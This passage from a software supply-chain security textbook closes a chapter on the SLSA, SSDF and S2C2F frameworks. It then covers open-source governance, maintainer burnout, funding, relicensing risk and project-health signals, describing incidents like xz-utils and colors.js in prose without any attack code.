- **The Build track ladder climbs existence, then authenticity, then integrity.** L1: provenance exists (may be unsigned; stops honest mistakes). L2: hosted platform signs it (stops post-build tampering). L3: build steps cannot reach the signing key and runs are isolated (stops in-build tampering — non-forgeable provenance). Levels are properties of the *platform*, not the project.
- **SLSA is silent on code quality and vulnerabilities.** A backdoored, vulnerable binary can be perfectly Build L3. It defends threats E and F (build tampering, modified upload), detects C, and does not solve source threats (A, B) or the dependency threat (D). Confusing "L3" with "secure" is the archetypal cargo-cult error.
- **NIST SSDF (SP 800-218) is the broad, process-level substrate across the whole SDLC** — four families PO / PS / PW / RV, expressed as outcome-oriented practices and tasks, not prescriptive controls. It matters out of proportion to its novelty because it is the framework US federal self-attestation is written against (EO 14028, OMB M-22-18 / M-23-16). SP 800-218A extends it to generative-AI models.
- **S2C2F secures the consumption side that SLSA and SSDF barely touch** — eight practice areas (Ingest, Scan, Inventory, Update, Enforce, Audit, Rebuild, Fix+Upstream) across four maturity levels, mapped to real OSS ingestion threats. OpenSSF project,

Microsoft origin. It is the mirror image of SLSA: safe *ingestion* rather than trustworthy *production*.

- **They nest.** SSDF is the syllabus; SLSA is its build-integrity module and S2C2F its consume-OSS module. Run all three. Around them sit CIS (concrete checklist), CNCF (cloud-native blueprint), OWASP SCVS (component verification), SAMM/BSIMM (broad appsec maturity — prescriptive vs descriptive), Microsoft SDL (the ancestor), and BeyondProd (the hyperscale architecture SLSA came from).
- **Treat a level as a property to verify, not a checkbox to claim.** Ask what mechanism the level asserts, whether it actually holds, who verifies against what policy, and whether the level even answers the threat you face. Test your own "L3" by trying to forge your own provenance.
- **At fleet scale, adopt through the platform, not the repo.** Harden one shared build platform and the fleet inherits L2/L3 for free; enforce one scanned ingestion feed and the fleet climbs S2C2F together. Measure *coverage and the tail* (from the verifier's own records), never the average — the risk lives in the unaudited 5%, not the mean.

Further reading

- SLSA (Supply-chain Levels for Software Artifacts), **v1.0** — the specification at slsa.dev: the *levels*, *tracks*, *provenance*, *terminology*, and *threats & mitigations* pages. Released April 2023 under the OpenSSF. (Provenance mechanics: Book 4, Chapter 3; verification and signing: Book 5, Chapters 3–4.)
- NIST **SP 800-218**, *Secure Software Development Framework (SSDF) Version 1.1: Recommendations for Mitigating the Risk of Software Vulnerabilities* (February 2022), and **SP 800-218A**, *Secure Software Development Practices for Generative AI and Dual-Use Foundation Models* (2024) — csrc.nist.gov.
- Executive Order 14028, *Improving the Nation's Cybersecurity* (May 2021); OMB Memoranda **M-22-18** (September 2022) and **M-23-16** (June 2023); and CISA's *Secure Software Development Attestation Form* — the federal chain that makes SSDF operative (developed in Book 8, Chapter 1).

- **S2C2F** — the *Secure Supply Chain Consumption Framework* specification in the OpenSSF `ossf/s2c2f` repository: the framework document (eight practice areas, four maturity levels) and the OSS threat mapping. Donated to OpenSSF by Microsoft, August 2022.
- NIST **SP 800-161r1**, *Cybersecurity Supply Chain Risk Management Practices for Systems and Organizations* — the C-SCRM companion to SSDF referenced by EO 14028.
- CIS **Software Supply Chain Security Guide** (Center for Internet Security, with Aqua Security) — concrete, benchmark-style recommendations across source, build, dependencies, artifacts, and deployment.
- CNCF Security TAG (TAG Security), *Software Supply Chain Best Practices* white paper and the *Secure Software Factory* reference architecture (`github.com/cncf/tag-security`) — cloud-native pipeline guidance underlying Book 6.
- OWASP **SCVS** (Software Component Verification Standard), v1.0 — component-verification control families and levels (`owasp.org`); and OWASP **SAMM** v2.0 (`owaspsamm.org`).
- **BSIMM** (Building Security In Maturity Model) — the latest release (BSIMM15, 2024); a *descriptive* observational model, contrasted with SAMM's prescriptive stance.
- Google, *BeyondProd: A new approach to cloud-native security* (whitepaper, 2019), and the SLSA origin story in Binary Authorization for Borg — the hyperscale antecedent of SLSA's non-forgeable provenance.
- Microsoft **Security Development Lifecycle (SDL)** (`microsoft.com/sdl`) — the lifecycle-practices ancestor of SSDF, and the origin home of S2C2F.

Chapter 8 — The Open Source Ecosystem: Sustainability, Maintainership, and Risk

What this chapter covers. The previous chapters of this book dissected attacks — how an adversary tampers with a build, a package, a

maintainer relationship — and how to reason about the resulting trust and threat models. This chapter steps back from the attacker and looks at the *terrain* the attacker exploits. Modern backend systems are, by line count, overwhelmingly other people's code: your service is a thin shell of business logic wrapped around a deep tree of open-source libraries, runtimes, and tools that you did not write, do not read, and mostly cannot name. That code is produced by a sprawling, informal, chronically underfunded human system — volunteers, hobbyists, a few company-employed maintainers, a handful of foundations. The central claim of this chapter is blunt: **the human and economic structure of open-source production is not context for the risk; it *is* the risk surface.** A solo maintainer's burnout, a foundation's security-response capacity, a company's decision to relicense, a registry's unpublish policy — these are not soft "community" concerns orthogonal to your threat model. They are the load-bearing properties of the supply chain you have already shipped to production. We examine who actually produces open source and under what governance, why the people doing it are so often unpaid and overextended, what the ecosystem has built in response (CII, OpenSSF, Alpha-Omega, the Sovereign Tech Agency), how licensing itself is a supply-chain risk, and how to read a project's health so you can triage thousands of dependencies you will never have time to vet one by one.

Learning goals — after this chapter you should be able to:

- Distinguish the major open-source **governance models** — solo maintainer, loose collective, foundation-governed, single-vendor, community fork — and explain how each shapes security- response capacity and bus factor.
- Explain the **maintainer reality**: why critical infrastructure is so often carried by one or a few unpaid people, what the bus factor measures, and why burnout is a *systemic* condition that makes the maintainer a single point of both technical and trust failure (connecting to xz-utils in Chapter 5 and the colors.js / node-ipc self-sabotage in Chapter 4).
- State the **xkcd 2347 "Nebraska" problem** precisely and cite accurate real examples of load-bearing-but-underfunded libraries (core-js, pre-Heartbleed OpenSSL, colors.js).
- Compare **funding models** (foundations, corporate employment, GitHub Sponsors, Open Collective, Tidelift, bounties, open-core) and

their failure modes, and articulate why "just pay the maintainers" is genuinely hard — discoverability, fairness, and tax/legal friction.

- Describe accurately what the **institutional responses** to Heartbleed and xz actually do: the CII, the OpenSSF, Alpha-Omega, the Sovereign Tech Fund/Agency, and Big Tech investments.
- Treat **license changes** (MongoDB, Elastic, HashiCorp, Redis) and the forks they spawned (OpenSearch, OpenTofu, Valkey) as availability and legal supply-chain risks.
- Read **project-health signals** and triage a fleet's dependency graph by *criticality* $\times$ *health*, distinguishing popularity from health, and know where mirroring and upstreaming fit.

A note on accuracy. The incidents and initiatives below are described from public record: maintainers' own blog posts and funding pages, foundation charters and announcements, npm's own postmortems, and vendor license announcements. Where a figure is approximate — donation amounts, download counts, dates of relicensing — this chapter says so rather than inventing precision. Several of these stories are still moving as of this writing (2026); where a vendor later reversed course, that is noted.

The terrain: you are mostly running other people's code

Start with the uncomfortable arithmetic. A typical Node.js service with a few dozen direct dependencies resolves to *hundreds to low-thousands* of transitive packages. A Java service built on Spring pulls a comparably deep Maven tree. A Go binary statically links dozens of modules. Your own code — the part your organization employs people to write and review — is frequently under 5% of what ships in the container. The rest arrived through a package manager doing exactly what it was designed to do (Chapter 4), and it executes with your privileges, in your build and at your runtime.

That code did not fall from the sky. Each package has an owner or owners, a governance model (often implicit), an economic situation (often precarious), and a license (which can change under you). Those four properties determine how fast a security fix ships when a CVE lands, how likely the project is to be abandoned or hijacked, and whether you are legally permitted to keep using it next year. This is the ecosystem's risk

surface, and unlike a firewall rule it is not something you configure — it is something you *inherit*, transitively, thousands of times over.

The structure of open-source production

"Open source" is not one thing. It is a spectrum of governance arrangements, and where a project sits on that spectrum tells you most of what you need to know about its resilience.

Governance models along the bus-factor axis

The **bus factor** (also "truck factor" or "lottery factor") is the number of people who would have to be hit by a bus — leave abruptly, for any reason — before a project stalls because the knowledge and access to continue are gone. A bus factor of 1 means one person holds the commit rights, the release keys, the design knowledge, and the security-response responsibility. Governance model and bus factor are tightly coupled.

```
flowchart LR
    A["Solo maintainer\nbus factor 1"]
    B["Loose collective\nbus factor 2-5, informal"]
    C["Single-vendor OSS\nbus factor = company priorities"]
    D["Foundation-governed\nbus factor via process + org"]
    A --> B
    B --> C
    C --> D
    A -->| "burnout, hijack,\nabandonment" | RISK1["High trust-failure risk"]
    B -->| "key person still\nndominates" | RISK2["Moderate risk"]
    C -->| "relicensing,\nEOL, layoffs" | RISK3["Strategic/legal risk"]
    D -->| "slow, but security\nteam + succession" | RISK4["Lower single-point risk"]
```

Solo maintainer. One person, usually unpaid, often maintaining the project on evenings and weekends. This is the modal state of the long tail of npm/PyPI/crates.io, and — critically — it is also true of some *extremely* load-bearing packages. Bus factor 1. Security response depends entirely on that person's availability, attention, and goodwill. This is the model that produced both xz-utils (Chapter 5) and colors.js (Chapter 4): in the first case the exhausted maintainer was socially engineered into handing over control; in the second the maintainer himself weaponized his own project.

Loose collective. A handful of maintainers who found each other, with no formal legal entity, no defined succession, and usually no security

team. Better than bus factor 1 on paper, but frequently one person still does most of the work and holds the release keys, so the *effective* bus factor is lower than the headcount suggests. Decision-making is by rough consensus or by whoever shows up. Many mid-tier libraries live here.

Single-vendor (company-controlled) open source. One company employs the maintainers, owns the trademark, controls the roadmap, and often holds copyright (via a Contributor License Agreement that assigns rights to the company). Redis, Elasticsearch, MongoDB, HashiCorp's Terraform, and Grafana were or are of this type. The bus factor for *code* is decent — there is a payroll behind it — but a new risk appears: the project's direction, and even its license, follows the company's commercial interest, not the community's. When the company's business model collides with the community (typically because a cloud provider is monetizing the software without contributing), the vendor can and does change the license. That is a supply-chain risk of a different kind, treated later in this chapter.

Foundation-governed. The project is stewarded by a neutral non-profit that holds the trademark and assets, enforces a governance process, and — this is the part that matters for security — provides institutional continuity independent of any single contributor or employer. The major foundations:

- **The Apache Software Foundation (ASF).** A membership non-profit hosting hundreds of projects (httpd, Kafka, Tomcat, Log4j, Cassandra, Spark). Apache requires projects to operate as a Project Management Committee (PMC) with multiple committers, mandates a defined security-response process, and holds a hard rule that "community over code" — a project with a single active committer is considered at risk and may be moved to the Attic. The Apache Security Team coordinates CVE handling across projects. Log4Shell (Chapter 5) was handled through exactly this machinery.
- **The Linux Foundation (LF)** and its sub-foundations. The LF is an umbrella that hosts the Linux kernel's infrastructure plus a large portfolio of sub-foundations, including the **Cloud Native Computing Foundation (CNCF)** (Kubernetes, Prometheus, Envoy, etcd, containerd) and the **OpenSSF** (below). CNCF runs a graduation process — sandbox → incubating → graduated — with escalating governance, security-audit, and maintainer-diversity requirements at each tier. A graduated CNCF project has undergone an independent

security audit and has documented governance and multiple maintaining organizations.

- **The Eclipse Foundation.** A European (Belgium-based) foundation hosting Jakarta EE, the Eclipse IDE, and a growing set of embedded/automotive and identity projects. It is notable for a rigorous, legally careful IP-review process for contributions.

Foundations trade speed for resilience. Their decision-making is slower and more bureaucratic, but they provide the two things a solo maintainer cannot: a **security-response process** that survives any individual leaving, and **succession** — the project does not die or get hijacked when one person burns out. For a dependency you consider critical, foundation governance is a meaningful positive signal, though not a guarantee: Log4j was an Apache project and still carried Log4Shell for years, because governance addresses *response and continuity*, not the existence of latent bugs.

Community fork. When a project is abandoned, captured, or relicensed against its community's wishes, the community can fork — take the last permissively licensed source and continue it under new, independent governance (usually a foundation). Forks are the ecosystem's ultimate check on single-vendor capture. OpenTofu, Valkey, and OpenSearch (below) are all community forks born from license changes. A fork resets the governance model — usually from single-vendor to foundation-governed — but it must rebuild maintainer depth from scratch, so a young fork's bus factor can initially be worse than the parent's.

The maintainer reality

Strip away the logos and the story is consistent: **most open source, including most critical open source, is maintained by volunteers, and often by one or a few of them.** Surveys by the Linux Foundation and Tidelift over recent years repeatedly find that a large share of maintainers are unpaid, that a large share have considered quitting, and that burnout is the norm rather than the exception. The precise percentages move year to year; the shape does not.

Burnout is not an individual failing here — it is a **systemic condition** produced by the economics. A maintainer of a popular library receives a steady stream of bug reports, feature demands, security reports, "is this dead?" comments, and entitled messages from people building commercial products on their unpaid labor, and receives, typically, no

money and little thanks. The incentives point one way: the more successful and load-bearing your project becomes, the heavier the unpaid burden, with no corresponding increase in resources. This is a free-rider problem in the textbook sense (Ross Anderson's *Security Engineering* treats it well): everyone benefits, nobody is individually incentivized to pay, and the maintainer absorbs the externality until they can't.

For the security engineer, the maintainer is therefore a **single point of both technical and trust failure**, in three distinct modes seen in the case studies:

1. **Abandonment.** The maintainer stops responding. Security reports go unanswered, CVEs go unpatched, and the project becomes a latent liability — either exploited directly or used as the entry point for a takeover (the "is this maintained? can I help?" opening that preceded several account-takeover attacks in Chapter 4).
2. **Capture.** An exhausted maintainer, desperate for help, hands commit and release authority to an adversary who has spent months building trust. This is precisely the xz-utils mechanism (Chapter 5): burnout was not incidental to the attack — it was the *attack surface*. The sockpuppet pressure campaign that pushed Lasse Collin to accept "Jia Tan" as co-maintainer only worked because the burden on a solo maintainer of critical compression code was real and visible.
3. **Self-sabotage.** The legitimate maintainer, in protest or frustration, weaponizes their own package. In January 2022 Marak Squires deliberately pushed a broken update to **colors.js** — introducing an infinite loop that printed garbage ("zalgo" text) — and emptied his **faker.js** repository, breaking thousands of downstream builds that depended on these widely used packages. Two months later, a separate incident: the maintainer of **node-ipc** shipped protestware (the `peacenotwar` payload) that, in some versions, wiped files on hosts geolocated to Russia and Belarus (Chapter 4). Both defeat signing and provenance entirely, because the *legitimate owner* is the threat — the artifact is authentic; it is the intent that is malicious.

The uncomfortable synthesis: the same property that makes a maintainer trustworthy — that one identifiable human controls the code — is what makes them a single point of failure. Provenance and signing (Books 5 and 6) prove that the maintainer produced the artifact; they cannot tell you whether the maintainer is exhausted, compromised, or angry.

The Nebraska problem

Randall Munroe's xkcd #2347, "Dependencies," draws all modern digital infrastructure as a precarious tower of blocks, with the whole edifice resting on one small block labeled: "A project some random person in Nebraska has been thanklessly maintaining since 2003." The joke is load-bearing because it is literally true. Some concrete, accurately described examples:

- **core-js.** A JavaScript standard-library polyfill depended upon, directly or transitively, by an enormous fraction of the web — it ships in the build output of a huge share of sites via Babel and the broader toolchain. It has been maintained primarily by one person, **Denis Pushkarev (zloirock)**. In a widely read 2023 post ("So, what's next?") he laid out the mismatch starkly: billions of downloads and near-universal deployment, against funding insufficient to support the work, compounded by personal hardship (he has been open about a serious traffic accident and a subsequent prison term in Russia that interrupted the work). core-js is the Nebraska block made concrete: universal, load-bearing, and dependent on one underfunded person.
- **OpenSSL before Heartbleed.** In 2014, when Heartbleed (CVE-2014-0160) exposed that a memory-disclosure bug in the world's most widely used TLS library had gone unnoticed for two years, the public learned how OpenSSL was actually resourced: a tiny core team, only a small number of people doing the bulk of the work and essentially one person full-time, funded by on the order of a couple thousand dollars a year in donations (as OpenSSL Software Foundation's Steve Marquess described publicly at the time). The library securing a large fraction of the internet's transport was, economically, a Nebraska project. Heartbleed is the event that finally made the ecosystem treat this as an institutional problem — see the CII, below.
- **colors.js.** Before its sabotage, colors.js was a small, ubiquitous terminal-coloring library with millions of weekly downloads and a bus factor of 1. Its popularity was precisely what made the January 2022 self-sabotage a fleet-wide event.

The pattern to internalize: **the packages most likely to be a Nebraska project are not the obscure ones — they are the small, boring, universally depended-upon utilities** that everyone takes for granted

precisely because they "just work." Nobody funds left-pad. Everybody ships it.

Economics and sustainability

If the disease is unfunded critical infrastructure, the treatments are the various funding models — none of which fully works, and all of which have instructive failure modes.

```
flowchart TD
    subgraph Sources["Money sources"]
        CO["Companies\n(users of the software)"]
        GOV["Governments\n(e.g. Sovereign Tech Agency)"]
        IND["Individuals"]
    end
    subgraph Channels["Funding channels"]
        FDN["Foundations\n(ASF, LF, CNCF, Eclipse)"]
        EMP["Direct employment\nof maintainers"]
        SPON["GitHub Sponsors /\nOpen Collective"]
        TL["Tidelift\n(subscription)"]
        AO["Alpha-Omega\n(via OpenSSF)"]
        OC["Open-core /\ndual-license revenue"]
    end
    subgraph Dest["Where it lands"]
        MNT["Maintainers"]
        PROJ["Project infra,\naudits, security work"]
    end
    CO --> FDN & EMP & TL & AO & OC
    GOV --> GOV2["Sovereign Tech Agency"] --> PROJ
    IND --> SPON
    FDN --> PROJ
    EMP --> MNT
    SPON --> MNT
    TL --> MNT
    AO --> PROJ & MNT
    OC --> MNT
```

Funding models and their failure modes

Foundations. Companies pay membership dues; the foundation funds infrastructure, legal, CI, and sometimes staff. *Failure mode:* foundation money tends to reach the foundation's flagship projects and their infrastructure, not the long-tail solo maintainer whose library the flagship depends on. Foundations solve governance far better than they solve individual-maintainer income.

Corporate employment of maintainers. The most robust model when it exists: a company hires the maintainer to work on the project full-time (Google, Red Hat, Microsoft, and others employ kernel, compiler, and toolchain maintainers). *Failure mode:* it covers only projects strategic to a company with the means and will to pay, it introduces vendor influence over direction, and it evaporates in layoffs — an entire project's bus factor can drop to zero in a reorg that had nothing to do with the project's importance to the ecosystem.

GitHub Sponsors and Open Collective. Direct-to-maintainer donations. GitHub Sponsors (launched 2019) lets individuals and companies fund maintainers with low friction; Open Collective provides a transparent fiscal host so a project can receive and spend money without forming its own legal entity. *Failure mode:* donation income is small, lumpy, and correlated with visibility rather than criticality — the charismatic framework author does well; the maintainer of a boring, critical, invisible transitive dependency does not. Denis Pushkarev's core-js situation is the canonical illustration: universal dependence, negligible donations.

Tidelift. A subscription model: enterprises pay Tidelift for a curated, "managed" set of open-source packages, and Tidelift pays participating maintainers to meet defined standards (keeping the project maintained, following security practices, providing metadata). It attempts to convert diffuse free-riding into a contractual relationship. *Failure mode:* coverage is limited to enrolled maintainers and packages, per-maintainer amounts are often modest, and it depends on enough enterprises buying in.

Bounties. Payment per fixed bug or implemented feature. *Failure mode:* bounties fund episodic *work*, not ongoing *maintenance* — nobody puts a bounty on "keep responding to security reports for the next five years," which is the actual scarce resource. Security bug bounties (distinct from feature bounties) do help surface vulnerabilities, but they reward finders, not maintainers who must then fix and release.

Dual-licensing / open-core. The project is open source, but the company sells a proprietary edition, hosted service, or enterprise add-ons (dual-license: same code under a copyleft license free, or a commercial license for a fee; open-core: an open core with proprietary shells). This is the dominant *commercial* model for single-vendor OSS and it genuinely funds full-time development. *Failure mode:* it aligns the maintainer's incentive with the company's revenue, not the community's needs, and —

as the license section shows — it sets up the relicensing conflict when a cloud provider monetizes the open core without paying.

Why "just pay the maintainers" is hard

The recurring reaction to every open-source incident is "companies make billions off this; they should just pay the maintainers." The sentiment is correct and the execution is genuinely difficult, for three structural reasons:

- **Discoverability.** Which maintainers? Your risk is concentrated in your critical dependencies, but the critical ones are frequently deep transitive packages you cannot name without tooling. The Nebraska block is by definition the one you never think about. Directing money to criticality requires first *measuring* criticality across a graph of thousands of nodes — which is exactly why the OpenSSF built a Criticality Score (below). Absent that, money flows to the visible, not the load-bearing.
- **Fairness.** How do you split funds among a project's contributors? Between the framework and the ten libraries it stands on? A package's importance is a function of the whole graph, not any single node, so any allocation rule is contestable and creates its own perverse incentives (maintainers gaming metrics, disputes over who "really" maintains).
- **Tax and legal friction.** Paying an individual maintainer — who may be in any country, may be subject to sanctions, may have no company — raises real problems: tax withholding and reporting across jurisdictions, sanctions/export-control screening, the risk of reclassifying a volunteer as an employee or contractor, and the sheer overhead of vendor onboarding a hobbyist. This is a large part of why fiscal hosts (Open Collective), managed intermediaries (Tidelift), and foundations exist: they absorb the legal machinery that a direct payment would otherwise impose on both sides.

None of this makes funding hopeless. It explains why the effective responses have been *institutional* — pooled money, routed through intermediaries, targeted by criticality metrics — rather than a thousand companies each writing checks to individuals.

Institutional responses: from Heartbleed to post-xz

Two crises bookend the institutional history: Heartbleed (2014) exposed the underfunding of critical infrastructure, and xz-utils (2024) exposed that even funded attention had not solved the maintainer-capture problem. The response has accreted in layers.

```
timeline
  title Institutional responses to open-source security crises
  2014 : Heartbleed (OpenSSL)
        : Core Infrastructure Initiative (CII) formed under Linux Foundation
  2020 : OpenSSF founded (Linux Foundation) ; CII rolled in
  2021 : Big-Tech pledges after White House open-source security summit
  2022 : Alpha-Omega launched (MS, Google, Amazon) via OpenSSF
        : Sovereign Tech Fund established (German government)
  2024 : xz-utils backdoor (CVE-2024-3094)
        : Renewed focus on maintainer health and social-engineering defense
```

Core Infrastructure Initiative (CII), 2014. Formed by the Linux Foundation directly in response to Heartbleed, the CII pooled money from major technology companies to fund the maintenance and security of critical projects that were dangerously underfunded — OpenSSL, OpenSSH, NTP, GnuPG and others received support. The CII also produced durable artifacts: the **CII Best Practices Badge** (a self-certification of security-relevant practices, since folded into the OpenSSF Best Practices Badge) and a **Census** effort to systematically identify which open-source projects were both widely used and under-resourced — the first serious attempt to *measure* the Nebraska problem rather than react to it after each crisis.

OpenSSF (Open Source Security Foundation), 2020. A Linux Foundation umbrella that consolidated several prior efforts (the CII among them) into a single organization focused on open-source software security. The OpenSSF is best understood as the *home* for much of this book's later subject matter: it stewards or hosts **Scorecard** and the **Criticality Score** (below), the **SLSA** framework (Book 5), **Sigstore** (Book 5), the **S2C2F** consumption framework (below and Book 8), best-practices guidance, and security-tooling working groups. Its role is coordination and production of shared standards and tools, not day-to-day maintenance of any one project.

Alpha-Omega, 2022. An OpenSSF-associated project funded initially by Microsoft and Google (later joined by Amazon), with the explicit mission of improving the security of critical open-source projects — and it does so with money and staff time, not just standards. Its name encodes its two-pronged strategy: **Alpha** engages *directly* with a targeted set of the most critical projects and ecosystems (funding dedicated security engineers, audits, and maintainers to do security work), while **Omega** applies *automated* analysis at scale across the long tail of thousands of projects to find and report vulnerabilities that no human is watching. Alpha-Omega is the closest thing the ecosystem has to a mechanism that routes corporate money to critical-project security work by criticality.

Sovereign Tech Fund / Sovereign Tech Agency, 2022. A striking departure: a *government* funding open-source infrastructure as public digital infrastructure. Established with backing from the German federal government (via its economics ministry), the Sovereign Tech Fund — now operating as the **Sovereign Tech Agency** — invests directly in the maintenance, improvement, and security of foundational open-source components that the digital economy depends on, including efforts to fund maintainers and reduce single-maintainer fragility (its "Bug Resilience" and maintenance programs target exactly the bus-factor problem). It treats OSS the way a state treats roads and bridges: as public infrastructure warranting public maintenance funding, independent of any single company's commercial interest.

Big-Tech security investments. Beyond Alpha-Omega, individual companies have made direct commitments — funding kernel and toolchain maintainers on payroll, running fuzzing services (Google's **OSS-Fuzz** continuously fuzzes hundreds of critical projects for free), operating package-registry security features (npm/PyPI 2FA mandates, provenance), and pledging security spending after the 2021 White House open-source security summit that followed Log4Shell and SolarWinds. These are real and material, but they are also *strategic* — concentrated on what matters to the funder — which is exactly why the pooled, criticality-targeted vehicles (CII, Alpha-Omega, Sovereign Tech) exist alongside them.

What none of these solves, and what xz-utils drove home in 2024, is the *social* attack surface: money and audits do not, by themselves, tell an overloaded maintainer that the eager new contributor offering to help is a long-con adversary. The post-xz conversation has accordingly turned

toward **maintainer health and trust** — reducing the pressure that makes capture possible, and treating maintainer well-being and contributor-vetting as security controls, not HR niceties. This is progress in framing; it is not yet a solved problem.

License risk as supply-chain risk

Security engineers instinctively model the supply chain as a *confidentiality/integrity* problem — someone tampers with code. But the license is a supply-chain risk in the *availability* and *legal* dimensions: a project you depend on can, without any code changing, become one you are no longer permitted to use as you were using it, or one whose obligations you are now violating. This risk needs to sit in your dependency review alongside CVEs.

Copyleft obligations

The classic license risk is **copyleft**. The GPL family requires that if you distribute a work derived from GPL code, you must offer the corresponding source under the GPL. The **AGPL** (Affero GPL) closes the "SaaS loophole": it treats *network interaction* with the software as triggering the source-provision obligation, so running modified AGPL code as a backend service your users reach over a network can obligate you to offer that modified source. For a distributed-systems shop, an AGPL dependency pulled transitively into a service is a genuine compliance exposure — not because AGPL is malicious, but because your obligations changed the moment it entered the graph, and most teams have no tooling watching license transitions the way they watch CVEs. (Chapter 4's protestware overlaps here in spirit: a license, like a payload, is an obligation the maintainer can impose on you unilaterally.)

The rug-pull pattern: single-vendor relicensing

The higher-profile recent risk is the **relicensing rug-pull**: a single-vendor project, originally under a permissive OSI-approved license, changes to a *source-available* or restrictive license — typically to prevent cloud providers from offering the software as a managed service without paying. The code is still visible, but it is no longer open source by the OSI definition, and your permitted uses may narrow sharply. The pattern, described accurately:

Project	Original license	Changed to	Approx. year	Community fork
MongoDB	AGPL	SSPL	2018	(no major fork)
Elasticsearch / Kibana	Apache 2.0	SSPL + Elastic License	2021	OpenSearch (AWS)
Terraform (and others)	MPL 2.0	BSL (Business Source License)	2023	OpenTofu (Linux Foundation)
Redis	BSD 3-clause	RSALv2 / SSPLv1 dual	2024	Valkey (Linux Foundation)

The two recurring license instruments:

- **SSPL (Server Side Public License)**, introduced by MongoDB, extends AGPL-style obligations aggressively: offering the software as a service obligates you to release the source of your entire *service management stack*. The OSI has declined to approve SSPL as an open-source license precisely because that condition discriminates against a field of use. Elastic (2021) and Redis (2024) both adopted SSPL as one of their options.
- **BSL (Business Source License)**, used by HashiCorp for Terraform, Vault, and others in 2023, is *source-available with a time delay and a use restriction*: the source is public, you may use it for non-competing purposes, and each version converts to a truly open license (for HashiCorp, MPL 2.0) after a change date (typically a few years). It is not open source during the restricted window.

The community response to relicensing has been the **fork**, and these forks are now significant infrastructure in their own right:

- **OpenSearch** — Amazon's Apache-2.0 fork of the last open-source Elasticsearch/Kibana, later moved under the Linux Foundation.
- **OpenTofu** — a fork of Terraform at its last MPL-2.0 version, developed under the Linux Foundation as a community-governed drop-in.
- **Valkey** — a fork of Redis at its last BSD version, under the Linux Foundation, backed by several major cloud providers.

Note the direction of travel: each fork moves governance from *single-vendor* to *foundation-governed*, which is a resilience improvement, but each young fork must rebuild maintainer depth and prove it can sustain a security-response process. The picture keeps moving — both Elastic (2024) and later Redis (2025) added back an AGPL option to their licensing, partly in response to the reputational and competitive cost of the fork. As of this writing the forks continue in parallel with the relicensed originals.

For your fleet, the practical consequences are concrete and belong in a risk register:

- **You may be forced to migrate** — to a fork or an alternative — on the vendor's timeline, not yours, if the new terms conflict with your use (e.g., you *are* a service provider).
- **Your license-compliance posture can silently drift out of compliance** when a transitive dependency relicenses in a routine version bump. Watching for license *changes* in dependency updates is as important as watching for CVEs — and far less commonly automated.
- **Governance is a durable signal.** A foundation-governed project *cannot* be unilaterally relicensed by one company; a single-vendor project can. If relicensing risk matters to you, weight foundation governance accordingly when you choose dependencies.

Reading project health

You cannot vet thousands of dependencies deeply. What you *can* do is learn to read the signals that predict whether a project will respond well when something goes wrong — because "responds well to a security report" is the property that actually protects you at 2 a.m. when a CVE lands in something you ship.

Signals that actually matter

- **Release cadence and recency.** A project that ships regularly is alive; one whose last release was years ago may be abandoned (or may be "done" — for a truly small, stable library, no releases can be fine, so read cadence together with issue responsiveness).
- **Responsiveness to security reports.** The single most predictive signal. Is there a documented private disclosure channel? Do past

security issues show timely, competent responses? A project that triages and patches quickly is one you can depend on under fire.

- **Number of active maintainers (effective bus factor).** Not the contributor count — the number of people with commit/release authority who are *currently active*. One name on 95% of recent commits is a bus factor of 1 regardless of how many drive-by contributors exist.
- **A security policy (`SECURITY.md`).** Its presence signals the maintainer has thought about disclosure at all, and it tells *you* how to report responsibly instead of filing a public issue that becomes a 0-day.
- **2FA enforcement on the registry account.** npm and PyPI now mandate 2FA for high-impact/maintainer accounts precisely because account takeover (Chapter 4) is a primary attack vector. A maintainer account without 2FA is a takeover waiting to happen.
- **Provenance and signing.** Does the project publish signed artifacts and build provenance (npm provenance, Sigstore attestations — Books 5 and 6)? Provenance lets you verify what you received; its presence also signals a maintainer investing in supply-chain hygiene.
- **Funding status.** Is anyone paid to maintain this? An unfunded, high-download, solo project is the Nebraska risk in its pure form.
- **Downstream criticality.** How load-bearing is this in *your* graph and the ecosystem's? A bug in a leaf dev-dependency is a nuisance; a bug in a package half your services link is an incident.

Tooling: Scorecard and Criticality Score

The OpenSSF has turned several of these signals into automated tools; this book treats them in depth in Book 2, Chapter 10, but they belong in your vocabulary now:

- **OpenSSF Scorecard** runs a set of automated checks against a repository — branch protection, whether CI runs tests, dependency pinning, presence of a security policy, code review on changes, token permissions, whether releases are signed, fuzzing, and more — and produces a 0-10 score per check plus an aggregate. It is a *practices* signal, machine- evaluable across thousands of repos, and can run in CI to flag when a dependency's hygiene degrades.

- **OpenSSF Criticality Score** estimates how *critical* a project is to the broader ecosystem from signals like dependent count, contributor and commit activity, and organizational reach. It is the tool that operationalizes "which Nebraska blocks matter most," and thus the input to any rational funding or vetting prioritization.

```
# Scorecard against a dependency's repository (illustrative)
scorecard --repo=github.com/some-org/some-critical-lib

# ...produces per-check scores and an aggregate, e.g.:
# Aggregate score: 6.4 / 10
# Branch-Protection      8
# Code-Review            9
# Security-Policy        10
# Signed-Releases        0  <-- no signed releases
# Token-Permissions      2  <-- overly broad CI token perms
# Maintained              7
```

Popularity is not health

The most important distinction in this whole chapter for day-to-day dependency selection: **popularity and health are different axes, and conflating them is the danger.** A package with fifty million weekly downloads can be a solo side project with a bus factor of 1, no security policy, no 2FA, and no funding — *colors.js* and *left-pad* both were. High download counts create a *false sense of safety* ("everyone uses it, so it must be fine") while simultaneously *raising the blast radius* of any failure. Popularity measures how much you'd hurt if it broke; criticality-times-health measures how likely it is to break and how well it would recover. Those are the numbers to reason about.

Distributed-systems lens

At fleet scale — hundreds of services, thousands of transitive dependencies, high deploy frequency — the ecosystem's structure stops being abstract and becomes an operational constraint. Three consequences follow directly.

You cannot vet everything, so triage by criticality × health

You will never have the human hours to deeply review thousands of packages. Attempting equal scrutiny across the whole graph guarantees you under-scrutinize the few that matter while wasting effort on leaves

that don't. The tractable strategy is a two-axis triage: **how load-bearing is this dependency (criticality)** against **how well-maintained is it (health)**.

```
quadrantChart
  title Dependency triage: criticality vs health
  x-axis "Low health (bus factor 1, unfunded, slow)" --> "High health
(multi-maintainer, funded)"
  y-axis "Low criticality (leaf, replaceable)" --> "High criticality
(load-bearing)"
  quadrant-1 "Monitor: keep an eye, low urgency"
  quadrant-2 "ACT: fund, mirror, contribute, or replace"
  quadrant-3 "Ignore: routine hygiene only"
  quadrant-4 "Watch for drift: health can decay"
  "core-js-like util": [0.2, 0.85]
  "foundation-governed core": [0.85, 0.9]
  "leaf dev dependency": [0.35, 0.2]
  "popular solo library": [0.25, 0.6]
```

